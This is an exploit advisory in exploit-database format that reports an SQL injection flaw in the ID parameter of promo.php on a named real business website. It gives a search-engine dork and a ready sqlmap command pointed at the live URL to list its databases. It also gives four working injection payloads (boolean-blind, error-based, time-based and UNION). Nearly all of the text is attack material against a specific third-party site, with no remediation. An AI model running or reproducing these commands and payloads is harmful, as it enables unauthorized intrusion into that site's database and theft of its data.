****************************
#Exploit Title: SCHLOSSWUELFLINGEN - SQL Injection vulnerability
#Date: 2020-10-07
#Exploit Author: Mahdi Karimi
#Vendor Homepage: https://www.schloss-wuelflingen.ch
#Google Dork: promo.php?ID=54
#Tested On: windows 10
sqlmap:
sqlmap -u "https://www.schloss-wuelflingen.ch/promo.php?ID=54" --dbs
Testing Method;
- boolean-based blind
- time-based blind
- UNION query
- error-based
Parameter: ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=54 AND 1669=1669
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: ID=54 AND (SELECT 4041 FROM(SELECT COUNT(*),CONCAT(0x7171717071,(SELECT (ELT(4041=4041,1))),0x7176707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ID=54 AND (SELECT 9747 FROM (SELECT(SLEEP(5)))IXOt)
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: ID=54 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717071,0x754d6d63585455785842706f6e7654657254666571524c675955575763684d63597743777a427972,0x7176707171),NULL,NULL,NULL-- -
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************